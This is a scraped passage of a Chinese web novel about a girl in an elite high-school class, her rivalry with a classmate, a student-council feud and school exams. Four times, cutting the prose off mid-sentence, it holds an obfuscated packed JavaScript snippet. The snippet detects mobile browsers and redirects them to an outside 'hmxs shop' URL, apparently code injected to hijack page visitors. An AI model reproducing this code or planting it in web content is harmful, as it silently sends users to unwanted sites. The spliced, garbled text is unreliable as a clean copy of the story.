;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16148910|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大早，夏注拿着苗渔签好字的特批表去学生会办理退会手续，赶回教室的时候，还是迟到了五分钟。 沈通今天早上没站在教室门口抓迟到，夏注一路贴着墙根走，悄悄挪到后门，打算从教室后门溜进去。 升华班的早读主要查缺补缺，教室里背单词、背课文的都有，后门开了一条缝也没人察觉。 她蹲在地上缓慢挪动，挪到饮水机旁边时，忽然听见一声冰冷的警告声从头顶上方传来： “夏注。” 夏注气得咬牙，再抬起头时，勉强冲沈通露出一抹假笑。 纪委大人居高临下盯着她，根本无动于衷，毫不留情吐出两个字：“出去。” “我今天早上的早读？……” “罚站，扣分，你自己选。” 好的，那不用选了。夏注磨磨蹭蹭站起来，无比熟练地朝门外走，反正也不是第一次了，跟沈通多解释一句，都算自取其辱。 身后的玻璃窗被人轻轻叩击两下，夏注回头，见付少校躲在窗帘后边，打开一条缝，给她递了个棒棒糖。 “谢了。”夏注接过糖，轻轻摩挲纸棍转着玩。 “不谢，从于支扬桌肚里顺的。”付少校补充道。 夏注点点头，然后撕开包装塞进了嘴里。 她没看是什么味的，直接用牙咬碎，然后就感受到了一股铺天盖地的冰凉寒气直冲天灵盖，整个人都不好了。 糖是曼绥思，可能还混有高浓度的薄荷糖精，后劲很大，夏注倒吸了一口了凉气，见付少校躲在后面笑得直不起腰。 “这么难吃的玩意，买来干什么？！” 夏注恶狠狠地咬碎颗粒，特想冲进去把人揪出来，暴打一顿，连带于支扬一起打。 付少校：“为了预防打瞌睡呗，怎么样，效果是不是出人意料的牛逼？” “不错，活人吃了微死，死人吃了复活，神仙刺激堪比神医圣手，附赠催命效果……” 夏注说完，指了指没被窗帘完全遮住的一角：“既然有此灵丹妙药，那请问，他为什么还在睡？” 于支扬趴在桌子上，姿势像只大猫，用校服外套裹住脑袋，物理隔绝一切朗读噪音，呼呼睡得正香，时不时发出咕噜咕噜的声音…… 他就这么正大光明的睡，也没人管，沈通全当看不见。 夏注心说太没天理了，这就是镇楼大佬的特权吗？那她下次也要考第一，直接骑在沈通脑壳上签字，那被扣分也值了。 “啊这……没事，活着就行。” 付少校轻轻推了推他同桌一把，语出惊人。 他用窗帘把自己卷成个蚕蛹，两人隔着玻璃窗，又闲聊了几句，最后付少校问：“你刚才去退学习部了？” “嗯，退了。” “你这几天还好吧？” “挺好啊。” 不就是断断续续有人发来私信，骂她墙头草死绿茶一类的话，线下一次也没遇见过。只敢躲在背地里指指点点，夏注都不屑放在眼里。 见夏注云淡风轻的模样，付少校似乎误会了什么。 “诶你别勉强，要不我还是跟于支扬说一声吧？他平时不爱看论坛，肯定不知道那些人骂的有多难听……” 夏注似是不解：“哦，他知道了又怎样？” “他是宣传部长啊，学校论坛的管理权限在他手里握着呢，让他帮你稍微…管理一下啊。” 夏注心说没有勉强。 一份胡编乱造的检讨书，成本为零，无需投入就能达成目的，对她而言简直太划算了，为什么还要四处张扬营销自己有多委屈最后可怜巴巴的寻求庇护多此一举？这不纯属多余？ 夏注扫了一眼趴在课桌上呼呼大睡的于支扬，嫌弃的撇了撇嘴。 换作以前，她故意舞到于支扬面前惹他心疼，那王八蛋应该还会哄她几句，现在试都不用试。 “不需要。” 24.第二十四章 早读下课铃一响，付少校又转身推了于支扬一把，见他还是不醒，干脆不管了。 见沈通已经返回座位，他可算敢站起来趴在窗台上，探出一个脑袋，一脸悲怆望着夏注：“啧啧，又站了一节课，太惨了，果然，惹了纪委的人都没有好下场。” 夏注：“我怎么惹他了？我这么单纯无害，他要是记仇那也是他的错！” 付少校：“我呸！你哪里单纯无害了？要点脸好吗？” 新同学进一班快满一个月了，这段时间相处下来，付少校发现夏注除了偶尔干点出格的小事，性格其实还不错，也没传闻中那么疯，两人挺聊得来。 夏注啧一声，顺着他的话问：“那你说怎么办？我单独去跟他道歉，他能接受？” “那肯定是不能，我看他都不想搭理你。” 付少校从本子上撕了张纸扇风，自言自语道：“其实你道歉也没用，这个事吧，错不在你，宣传部跟纪律部的矛盾渊源已久，他们从上届，上上届就这样，也不是你随随便便就能化解的……” 夏注：“哦？这怎么说？” — 九年前，一中确实出过一起社会影响很恶劣的事件，两大部门就是从那时候开始反目的。 据说学校门口那片商业街，在没拆迁前，原本是一片老式居民楼，附近开着许多私人小卖部，偷偷向学生销售烟酒，还有人在自家自建房里开设了网吧，低价吸引来不少学生消费。 教育改革没开始的时候，上一任校长实行全寄宿管理，工作日里，没几个学生能走出校门。这些小卖部能一直开着，纯粹是因为隔壁职高七中的学生，常来这一片晃悠。 有一次，一中纪律部有个男纪委请假出来办事，独自进了一家打印店，在里面遇见了几个职高生，举着棍棒跟他要钱。 人力悬殊太大，这个纪委想着，好汉不吃眼前亏，就全给了，当天回校后，就跟班主任反馈了这个事。 班主任反应给校领导，副校长亲自带人去对方学校交涉。结果怎么着，人家不认，非说没有这回事，有本事拿出证据来……气得这位副校长当场报了警。 可惜事发时没有监控，受害人也叫不出那几个人的名字，对方学校一再阻拦，最后只能不了了之。 他回去之后越想越气，跟同班一个宣传部的男生说了这个事。 然后这朋友给他出了个主意：去职高校门口蹲守，等那几个人出来，拍下照片，再拿着照片去指认。 两人一合计，说干就干，一起请了两天假。宣传部的男生还专门借了相机，临走前，跟自己部门的人吹牛逼说，自己要去干件大事。 这事的确干成了，当天晚上纪委就认出了那几个抢劫的学生，把照片提交回了学校。 校方处理的很快，没过几天，就听说那几个职高生被拘留的消息，赃款也顺利追回。 事情发展到这，姑且算是热心高中生团结互助、整顿不良风气的英勇事迹。他们的班主任事后虽然批评过几句，做了相应的保密工作，到底也没料到还有风险。 意外发生在两周后。 那天正值周末，宣传部那个男生跟几个同学在外面吃火锅。忽然有六、七个黄毛闯进来，直冲他们那一桌，扑上来就把他按在地上，先前抢劫的那几个职高生就在其中。 双方当场就打起来了，火锅店老板眼看要出事，急忙报了警。 一群人在混战中掀翻了火锅盆，警察赶到的时候，火锅店的玻璃被全部砸碎，旁边吃饭的好几个客人躲闪不及，都被烫伤了。 这件事造成的社会影响十分恶劣，最终被判定为聚众斗殴，所有学生刑事拘留一月，该赔偿的赔偿。 期间宣传部那个男生的母亲不服气，来学校闹过几次，声称他儿子是因为替同学出头，才会遭人报复。要求那个男纪委出面作证，证明是对方有错在先，他儿子只是正当防卫。 可是怎么会有人愿意作证呢。 那个男纪委觉得，自己本来就不在现场，先前的事也早就过去了。何况学校提前做了保密工作的，那群职高生根本不可能知道拍照片的人是谁，又何谈报复？他朋友肯定是因为别的什么事，才惹上的麻烦…… 而且作为纪委，被人抢劫还乖乖配合交钱这种事，实在有点丢人，影响个人形象，他不太想让人知道。 除了当事人和老师，的确没人知道细节，只是他忽略了宣传部那群人搜刮真相的能力。 热闹看得多了，所有消息一整合，时间线索一梳理，很容易就能猜出来是怎么个事。 宣传部向来出了名的护短，大家都开始替自己人鸣不平，纷纷向纪律部讨个说法。 纪律部这边当然不信，一再指责宣传部欺人太甚，都没有确凿证据，就敢随便编个故事来攻击他们部门的人，必须为此道歉。 双方吵得不可开交，宣传部骂出一句“无耻小人”，纪律部就回怼一句“疯狗乱咬”。短短一个月，两个部门给对方贴了无数标签，矛盾一再升级，最后彻底翻脸。 宣传部那个男生放出来后，没再回学校，直接退了学。不久后，同班的纪委受不住压力，也转学走了。 至此，由来已久部门冲突再无解药。 — 付少校讲完，又从里边伸出一条手臂，拍了拍夏注的肩膀：“所以说啊，两个部门本来就有矛盾，你劝个架还把自己搭进去了，何必呢？到头来还没人领你的情，我劝你趁早别管了。” 夏注：“谁说要管？” 她管的本来也不是两部门的事啊，她站出来揽责，纯粹只是为了择清于支扬。确保日后就算沈通要算账，也怪不到他头上。 可是那天晚上于支扬说“他不会”，这倒是让夏注有些意外。 “少校大人，问你个问题，你觉得这一届的宣传部和纪律部比起上一届，关系怎么样？” 付少校毫不犹豫：“差，差到爆了！绝对是一中有史以来关系最差的一届！” 夏注不禁倒吸一口凉气：“真的么？” “因为不仅仅是部门关系差呀，两个部长私底下的关系更差！” “那他俩是因为学习竞争才这样的吗？” “我看没那么简单……”付少校摇摇头，小心翼翼转身瞄了于支扬一眼，附到夏注耳边，小声道：“我刚认识于支扬的时候，他俩就已经这样了，应该是早就认识，后来因为什么事翻脸了……” 连付少校都不清楚的事，那很难查了。 夏注靠在窗台上叹了一口气，看见班主任普芹正朝这边走来。 付少校半截身子卡在窗台上，着急忙慌往回缩，结果越着急越进不去。 班主任已经到了跟前，夏注赶紧问好，普老师冲她笑了笑，转头问付少校：“你个头窜得挺快呀，需要帮忙吗？” 她说着，面带微笑举起厚厚一沓教案。 “不不不……”付少校连连摆手，“我就是最近吃胖了点，但弹性还在。那什么……夏注，你能推我一把吗？” 夏注：“……” — 第一堂课是数学，两节连上。 普芹在铃声响起的时候准时进门，夏注跟后面，路过于支扬时，顺手在他毛茸茸的脑袋上薅了一把，于支扬惊得跳起，总算醒了。 这节课盘点错题卷，老师从易错题讲到压轴题，会做的可以不听。最初抬头的人很少，到了后面，大部分人都开始看黑板。 夏注的同桌是个带着黑框眼镜的女生，跟班主任同一个姓，叫普星星，是班里的数学课代表。 她见夏注一直埋头做题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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普芹：“第二件事，下个月中旬是学校三十周年校庆，按照老规矩，像这种大型活动，升华班必须参与。” “你们的成绩我不担心，就是活动参加的太少了，一个个死气沉沉的……所以你们这次都给我上场，每人至少报名一个运动项目！” “啊……” 后排有几个女生趴在课桌上小声嘟囔：“可我只想在教室里睡觉，我是个i人，运动根本就不适合我……” “谁不是呢，本来想乖乖发霉，无奈太阳硬追着我晒……好没边界感。” 普芹充耳不闻，一边说着就开始分配任务：“开幕式上的方队队形和拉拉队，就由班长来组织一下吧，苗渔？” 苗渔：“好的。” 她同桌杨宝儿举手道：“老师老师，我可以帮忙！” 普芹挥挥手表示同意，然后转向于支扬道：“于支扬，校庆期间，你宣传部那边应该会很忙，我不多安排，但一班的场地，你得把好关。” 于支扬：“OK。” 普芹：“沈通，活动期间负责维持好纪律。” 沈通：“好。” 下课铃声一响，老师布置完作业刚走出教室，杨宝儿就开始嚷嚷：“来来来，要报名拉拉队的都过来登记！说不准就是最后一次了哈！” 大家都一窝蜂涌过去填表，夏注也趁乱抢了两张回来，递给她同桌一张。 普星星一脸诧异地问：“你也要报名吗？” 夏注点点头：“都一样，每人至少报一个，我现在不报，说不准后面就忘了。” 普星星推了推眼镜，觉得这人心真大，等这次月考结束，她能不能留在一班都难说呢，现在报名又有什么用…… 25.第二十五章 升华班有个不成文的规定，月考前停课一天。 倒不是集体放假，还是需要跟平时一样按时到校，只是在这一天，没有老师会来教室里上课。 自然也很少会有人留在教室复习，操场上、体育馆、菜园子，甚至食堂门口的那棵大槐树上，都有可能发现升华班学生的踪影。 经常被问问题的几个班委为了专心复习，一大早就躲出去了，于支扬更是直接没来过教室。 夏注在学校逛了一圈，也没找到他的踪影，中途去食堂买了个早点，看见几个熟人在那背英语单词。 彼时付少校正趴在桌子上大喊：“苍天啊，大地啊，如果我有罪请让法律惩罚我，而不是让我经历一次又一次考试的羞辱！”他说完又推了推旁边的杨宝儿，问：“明天第一场考什么？” 夏注走过去站在他后面，用魔鬼的声音低语：“第一场考数学哦，你的佛脚报错咯～” 食堂里又是一阵痛苦的哀嚎。 夏注买了几个煎饺，随机投喂给他们，借机打探了一下于支扬在哪儿。 本来以为没人知道的，结果中间有一个男生脱口而出：“他在老师办公室啊！” 杨宝儿：“每次都这样！别人复习是去图书馆抢位置，他倒好，直接上办公室去跟老师抢位置！太嚣张了！” 付少校：“这就叫聪明，我就算知道他在哪，也不敢去办公室找他问问题吧，万一遇上几个老师，我肯定就出不来了……” 旁边几个女生幻想了一下被各科老师围攻的恐怖画面，纷纷跟着点头，露出惨不忍睹的表情：“换我我不行，这也就学委扛得住……” “成绩重要还是小命重要，我还是分得清的……” “害不提了，来来来夏注，坐下来一起啊？” “不了，你们继续。”夏注拒绝了他们的邀请，一路啃着包子出了食堂，返回教室。路过办公室时，特意朝里边瞄了一眼，没看见于支扬，但听见有英语听力的声音。 今天只有五个人留在教室里复习，加上夏注一共六个。 她进门的时候，第一排有对小情侣正在互相抽背课文，她后桌的两个男生在埋头刷题，最后是沈通，一个人坐在最远的地方。 前排那两人抽背一结束，教室里再也没有一点声音。夏注记得这几个人平时话挺多的，今天可能是跟纪委单独相处，有些拘束。 六个人各做各的，又过了一个小时，夏注听见后桌那俩男生在小声争论一道题。 “辅助线要画这！画这！” “错了，这根本就不垂直，公式都不上！运算量太大了浪费时间……” 夏注摘下耳机，转过去看了一眼。 不到半分钟，她说：“要不试试在左边补上一段呢？再带入X的定义域……” 两个男生按照她说的比划了一下，突然冒出一句：“卧槽，牛逼。” 另一个震惊道：“还有这种解法？凑整了更好算啊，我怎么没想到！夏注你再帮我看看上面这题……” 夏注：“这题简单啊，log以a为底㎡，把题目给的数字带进去，然后再开根号……” 沈通坐在远处，原本没什么反应，听见三人的对话，微微抬起头，有些诧异地看了夏注一眼。 几分钟后，夏注后桌两个男生激动的拍桌，“太牛逼了夏姐！你都不用思考一下就能讲吗？你可以啊，人脑堪比计算机啊！” “也就数学可以，其他不行。” 夏注一只手灵活转动着手里的铅笔，随口跟他俩打听升华班的语文试卷难度如何？ “也说不上太难，除了诗词填空，基本上跟课本没有半点毛钱关系……” 其中一个男生开始感慨：“语文要难大家一起难，主要是其他科，一旦不会，那就是真的不会！毕竟升华班的试卷覆盖了三个年级的知识点，我去年是从高一直接跳上来的，一上来就让我做高三的题，麻了，学都没学过，我当时连题目都看不懂……” 夏注笑道：“那你能留到现在，证明你付出了很多努力。” 那男生有些不好意思地抓了抓头发，小声说：“那你也加油，希望你也能留下。” — 月考当天。 两个升华班的考场由学校领导班子亲自监考，一班二班学生交叉坐，夏注被分到了第二考场中间的位置。 这次数学考卷难度不算太大，选择题很多都是高一高二的考点，应该是为了照顾新人。 早上要考两场，第一场结束之后中场休息，大家都在自己考场门口争分夺秒地看书，楼道里全是古诗词背诵的声音。 于支扬从卫生间门口出来，洗完手，路过第二考场时，看见夏注正在窗台上默写。 他停下脚步，站在她身后看了一眼，夏注垂着脑袋，浑然不觉。 “拂高天之云翳，翳字错了，左上角是医生的医，不是臣。” 少年低沉的嗓音近在咫尺，几乎是紧紧贴在她耳边说的。发丝拨动传来轻微的酥痒，夏注一下子惊起，下意识反手一挥。 “你这次考试有没有把……” “啪！——” 话音未落，夏注的手指正好戳到他右边眼睛上，于支扬毫无防备，疼得往后一缩，轻微的踉跄幅度终于引来周围几道目光…… 他微不可察地叹了口气，没等夏注开口，捂着眼睛后退两步，一转身拐进了第一考场的后门。 第一名的位置当然在第一排，夏注赶紧绕到前门去，于支扬刚一坐下，就看见前方探进来一个脑袋。 夏注两只手扒在门框上，可怜巴巴盯着他看，想进来又不敢进来。 眼球上传来的疼痛感尚未缓解，于支扬用一只手挡着光，反复眨眼强迫自己适应，看见夏注这个表情，简直要气笑了…… 现在正在流泪的人，是他好吗？？夏注委屈个什么劲！ “羊sir，我不是故意的……” “滚。” 夏注赶紧双手合十给他道歉：“对不起对不起，你别生气么，我真是手误……你别躲在里面呀，出来给我看看？” 谁躲了？！不进来避着点难道让他在大庭广众之下嗷嗷哭？不是……他明明就没有哭！ “夏注，我今天没有游泳，身上都没有消毒水味，你还打人，还说是手误？……” 夏注见他一手捂着脸一边控诉，声音有点郁闷是怎么回事……“我没打你呀，谁叫你一声不响站我身后的？我以为有什么脏东西……” 说完，她又对着于支扬招招手：“你出来，出来呀，快出来给我看看，打成什么样了？我记得我没用力啊……” 于支扬：“你怎么不进来。” 夏注：“这是第一考场，我又不在这考，我怎么进？不方便呀……” 于支扬：“那你想进来吗？” 夏注：“我想啊。” 于支扬：“那你自己凭实力考进来。” 夏注愣住了。 不对劲，十分不对劲，于支扬这话是出自真心还是嘲讽她的？夏注回想了一下于支扬刚才在外面没说完的话。 “你刚才……是不是想问我，我有没有把握留在一班？” 于支扬右边眼眶有点红，气呼呼瞪了她一眼，没说话。 夏注又问：“你不是早就已经认准了我成绩作弊吗？” “认错了。” “什么？” “我认错了！” “我承认你可能是有点真才实学，我听见过你跟他们讲题，步骤正确，思路全对，应该是真正掌握了的，没有作弊，我觉得还行……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16166436|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于支扬坐在椅子上，双手交叠微微后仰，目光转向别处，闷声道：“我觉得还可以，那你留在一班也可以。” 夏注恍然大悟，她听明白了，于支扬这是承认了她有能力，拐着弯跟她道歉呢，可是这还不够。 她克制住嘴角的弧度，有些不以为然道：“噢，那如果我说，我在升华班的到此一游玩够了，不想玩了，打算这次考完就跟你们散伙，你不也管不着么？” 夏注靠在门框上说完，作势转身要走。 “你到底要怎样？” 于支扬在身后叫住了她，夏注再转身，发现人已经跟出来了。 夏注心说我要的不多，我想让你亲口说，你害怕我被刷下去，你希望我留下来，希望我成为你的对手，希望我跟你并肩。我想让你求我，求我不要走，求我留在一班…… 两人站在走廊上，过快心跳声被古诗词背诵的洪流掩盖，目光对峙了半晌，谁也没有开口。 最后于支扬实在忍不住，偏过脸去，神色有些不自然，勉强说了一句：“如果分数不够，我可以教你游泳。” 夏注：“……” 她深吸一口气，走回于支扬跟前，踮起脚尖去看他眼角戳到的伤。 一边不动声色地问：“理由呢？” 于支扬望着她的眼睛，目光刚一对视上，他忽然感觉自己的脸有些发烫，刚才被戳到的右眼好像又开始隐隐作痛了…… 他啧一声，把手搭在夏注的肩膀上，把她按回原地。 “反正不是为了帮你，我只是觉得进过升华一班的学生，连游泳都不会，太丢人了。” 夏注：“付少校也不会游泳啊，你怎么不先教他？” “你到底学不学？” “不学。” 让一个对水有心理障碍的人去学游泳？开什么玩笑？夏注虽然也觉得这毛病碍事，但也没打算一上来就跟自己的天性对抗啊。 “不识好歹。”于支扬道，“算我多事。” 开考时间将至，监考的老师手握档案袋从旁边路过，两人暂停打了个招呼。 第一考场的监考是学校教务主任，正好是一班的艺术审美课老师，看他俩神色不对，笑着问：“这是怎么了？闹别扭呢？” 于支扬阴阳怪气道：“没，夏注同学说要退出一班，我正在劝她珍惜机会。” 夏注：“？” 告状精！她明明不是这么说的！ 见夏注一个劲瞪旁边的男生，女老师捂嘴轻笑，压根不信，踩着高跟鞋进门了。看吧，连老师都不信。 “你会这么说，其实就是对我一点信心也没有。” 夏注看着于支扬发红的右边眼眶，还是有些心软了，决定投喂一颗定心丸：“不然我们打个赌吧。” 于支扬斜眼睨她，示意她继续说。 “我保证我不会被挤出一班，而且总有一天我的成绩会达到跟你一样的高度，甚至超过你！一次不行就两次，两次不行就更多次！” “于支扬，你现在可能感受不到，其实我这个人，是很难打发的。不达目的，我绝对、不会离开！” “如果我赢了，咱俩以前那些烂账一笔勾销，你从今以后不准再戴着有色眼镜看我。如果我输了，我可以滚出一班，滚出你的世界。” 于支扬听着，忽然笑出声来，他垂眸看着自己的鞋尖，再抬起头，又恢复了往日高高在上、不把一切放在眼里的高傲的神态。 “所以你是在挑战我吗？” “是。” “那我很期待了。” 开考前最后五分钟，于支扬盯着她，一步步往后退，转身进了考场。 夏注缓缓吁出一口气，转身朝自己考场走，边走边嘟囔：“笑死，傻叉一个，我又没说打赌的时间……” 26.第二十六章 升华班的月考卷子隔天就批改完了，但因为涉及重新分配班级，最终公布时间一般会延后三、五天。 夏注刚吃过午饭回教室，就看见于支扬的座位上挤满了人，付少校一见到她就大喊：“夏注！快来对答案！” 她凑过去一看，A3纸上密密麻麻的手写答案，字迹看着有点眼熟。 “哪来的答案啊？靠谱吗？” “于支扬重新做的，你说靠不靠谱？” 付少校把答案高高举起，站在课桌上吆喝：“别挤别挤，各科都有！全年级仅此一份！弄坏就没了，我来给你们报……” 在场的就夏注一个新人，她盯着那张纸，有些想不通：“重新做的？试卷不是考完就收上去了吗？” 杨宝儿：“那就把题目背下来呗，呐，咱班学委神人一个，这件小事对他来说，手拿把掐。” 夏注大为震撼，把题目背下来？是她理解的那个意思吗？把所有科目的卷子一题不落背下来，这是正常人能做到的事？ 旁边的英语课代表轻轻撞她的肩膀，一脸我都懂的表情：“正常的姐妹，正常的。我第一次看见的时候，也觉得过于离谱了，可事实真就这样，于狗他不是凡人。” 夏注无言以对，头一次发现自己对于支扬的了解还是太少了。 付少校站在课桌上大声报答案，周围一群人拿着本子记，时不时回忆一下原题，发出悲痛的哀鸣。只有夏注一动不动，脸色越来越惨白…… 全部的顺序和答案，都是对的。 杨宝儿见她不动，举起书本在她眼前晃了晃：“怎么了夏注，还没缓过神啊？哎呀，你习惯就好了，这个世界就是很奇幻啊，你没见过的事，不代表真的没有……” 有的，她当然见过，因为她自己就是。 数生建模也能完整收录大量信息，只要她愿意，她能永远记住每一张人脸，每一张图片，每一个文字，每一道题目……可那仅仅是因为她与常人不同。 夏注当然不会刻意的去展露这些，可是于支扬为什么也能够做到？仅仅是因为记忆太好吗？ “完了完了，我错了好多，可能要提前收拾行李跟大家拜拜了……”人群里传来绝望的声音。 付少校：“别难过，于支扬也不一定全对是吧……” 可是没有用，大家一想到于支扬那恐怖的分数，又集体沉默了，这种安慰的话就根本就没什么说服力。 普星星：“其实提前对答案唯一的好处就是，有个心理准备，提前收拾行李，也算快人一步？” 那个没考好的男生闻言，扯出一个比哭还难看的笑容，咬牙道：“那我谢谢你……” 分数一对完，教室里人心惶惶的，倒数第一反而没什么反应。大家见夏注一脸淡定，纷纷露出提前同情的神态：看来这是已经接受现实了？提前麻木了？太常见了，以前那些昙花一现的新人，就是这样被刷下去的…… “别聊了，全体同学都下楼，我们趁午休时间排一下开幕式的方阵队形！” 班长苗渔出现在门外，对着教室里大喊一声，催促道，“动作快点，尽量不耽误第一节上课！” — 月考一结束，大家都把心思放在了学校三十周年校庆活动上。 升华一班执行力排名第一的卷王之称果然名不虚传。苗渔策划活动的速度很快，杨宝儿负责班费支出，短短两天之内，已经将一应用品和人员调动安排妥当。于支扬这两天也总不见人，除了上课，其他时间几乎都在宣传部。 为了节省班费，苗渔决定开幕式那天走方队还是穿校服入场，只为人数较少的拉拉队定制队服。 午休时间，苗渔请来了体育老师帮忙调整队形，众人顶着正午的太阳站了半个小时，总算过关了。 老师宣布解散后，要求拉拉队的继续留下训练。 一班的拉拉队服昨天刚到货，选的是黄白色中性套装，短款T恤配三分裤，男女同款。昨天训练时，体育老师特意交代过今天要统一着装。其中两个女同学刚才没在教室，中途才姗姗来迟，没来得及换，所以老师让其他人先休息等待一下。 苗渔在场上跟老师讨论助威词，其他人坐在操场边的空地上乘凉，夏注的手机嗡嗡响了两下。 她点开一看，于支扬给她发来了几张照片，是学校大礼堂的现场布置。 最后一张是远景，密密麻麻的红绸尚未铺开，如小山般堆叠在舞台正中央，周围有很多宣传部的学生来来往往，正在搬东西。 这张图应该是于支扬站在舞台正对面观众席上最高处拍的，视角居中，构图平衡，证明摄影师本人的技术还行。 羊sir：【像不像那种撒着白巧克力和花生碎米的红色奶油冰淇淋？】 夏注：【就跟一群小蚂蚁搬家似的…】 两条信息几乎同一秒钟发出。 那边显示正在输入中，十秒钟后，跳出三个字：【啧，没品】 好像看成冰淇淋就很有品似的…… 夏注笑出声来，脑海里已经幻想出对面那只羊撇撇嘴，扬起下巴一脸嫌弃的小表情了。 “夏注你笑什么？” 旁边的普星星正在擦眼镜，说着就顺势倒在她身上，夏注把手机翻了个面，不动声色道：“没有，是一群小蚂蚁在搬家。” 普星星立马没了兴趣：“切，蚂蚁搬家有什么好看的……” 同桌一转头又跟别人聊天去了，夏注把手机翻回来继续看。 羊sir：【校庆日程表出来了，我刚才瞄了一眼，你猜今年的团体游戏是什么？】 夏注：【年年都一样，两人三足比赛，没啥看头…】 羊sir：【今年不一样，你猜猜看】 夏注：【你爱说不说】 对方正在输入中…… “人齐了！集合集合！” 于支扬还没个回复，那边体育老师已经吹响哨子，夏注只能扔下手机先去集合。 一班的英语课代表拉着杨宝儿一路小跑，越过夏注时，身后传来几个女生的打趣声：“哎呦杨宝儿，跑这么快干啥？秀你的新球鞋吗哈哈哈哈……” “哇，还真是诶！宝爷你这双球鞋好漂亮！以前那些丑玩意终于不穿了吗？” “有些东西虽然丑，但是贵呀，不过这次这个，真是宝爷你自己挑的吗？” “屁话！姐的审美一直在线！”杨宝儿气得原地跺脚，一米五的小兔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16174586|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，直接蹦到一米八：“是我挑的！我妈昨天亲自带我去专柜挑的！拉拉队不是要统一穿白鞋么，我差点忘了，但我妈替我记着呢！” 这哪是炫鞋？这明明是炫亲妈，周围人被她逗乐，又响起一阵调侃的笑声。 夏注有被萌到，也看了一眼，那双鞋的确挺漂亮，两边印着渐变兔耳朵，尤其是鞋带打结的方式很有特点。 只听旁边的英语课代表问：“这个牌子我知道，好像挺贵的吧？” 杨宝儿：“还行，也就一千左右……” 夏注：“……” 她突然觉得也没那么好看了。 — “好了好了，大家保持安静！” 体育老师姓钱，身高目测一米九。听说上个星期他女儿结婚，请了几天假，回来之后就一直在其他班赶课程，百忙之中能抽出时间来帮升华班排队形，多亏了普芹亲自开口。 “第一组动作！站稳别晃，注意间隔！” “手里的拉花拿稳了，别抖！” 夏注站在第二排靠中间的位置，忽然听见身后有男生小声吐槽：“怎么办，我觉得我们班发的这个队服好傻叉，怎么还有logo？……” 本来不说就没人觉得，他这一说，周围一小团都开始跟着发笑，人就是这样，在越正经的场合越容易憋不住。 诡异的笑点一个传染一个，大家憋的面红耳赤，胸腔不自觉开始发抖，两只手也跟着抖。 普星星：“闭嘴吧你！别说话……万一让老师听见，我们还得重新排一遍。” 男生：“切，丑还不让说了……” 班长苗渔作为领队，站在最前排中间的位置，听见身后叽叽喳喳，终于忍无可忍，微微侧首，沉声道：“都闭嘴！” 众人不说话了。 “苗渔！” 体育老师突然喝道。 这一声中气十足，似乎带着点不满的意味，给后排那男生吓得脖子一缩。 苗渔有些诧异地转过脸，出列一步。 钱老师一只手端着手机，经过前几次排练，队形已经基本稳定，他正打算拍张照给普芹发过去，此刻却暂停了。 “我昨天就已经通知好几遍，今天要统一穿白鞋，你没认真听吗？” 他问。 众人很快察觉到不对味来……纷纷低头去看班长鞋子的颜色。 苗渔脚上是一双全粉色的运动鞋，全班就只有她一个人不一样。 钱老师继续道：“白色鞋子最容易统一，少数服从多数！别人都穿了怎么就你没穿？怎么，难不成你没有白色的鞋子吗？啊？” 苗渔的整张脸瞬间涨红，“不……不是……” “不是什么不是？既然有为什么不穿！” 男老师突然抬高音量：“都高中了，一点细节就能决定成败！你懂不懂？身为升华班的班长，连这点头都带不好吗！啊？你搞什么特殊！就爱搞这些花里胡哨的是不是？你看看其他同学，哪个像你一样！？” 夏注站在苗渔身后，一抬头就容易跟老师对视上，但一低头，好像挨骂的人是她一样，避无可避地感受到了一阵劈头盖脸的压迫感…… 不知怎的，她突然想到了四个字：凶神恶煞。 27.第二十七章 夏注觉得用“凶神恶煞”四个字，来形容这位体育老师再合适不过了，要不怎么明明顶着大太阳，她后背反而会沁出一身冷汗…… 正午三十多度的天，周围没有半点微风流动的气息，众人紧紧挨着，站在一起，空气压抑得仿佛快要窒息。 苗渔站在第一排，脚上的粉丝球鞋根本无处遮掩的暴露在众人面前，她察觉到周围同学异样的目光，脸色十分难堪。 “对不起老师，是我忘了……” 钱老师喘着粗气：“忘了？我通知了多少次你还能忘？你这明明就是态度不端正！体育老师都话就不用认真听了是吗？小姑娘年纪轻轻的，忘性怎么就这么大？别人都没忘，就你忘了？” 夏注很敏锐地发现，自己跟前的这个女孩子正在颤抖…… “好晒啊……” 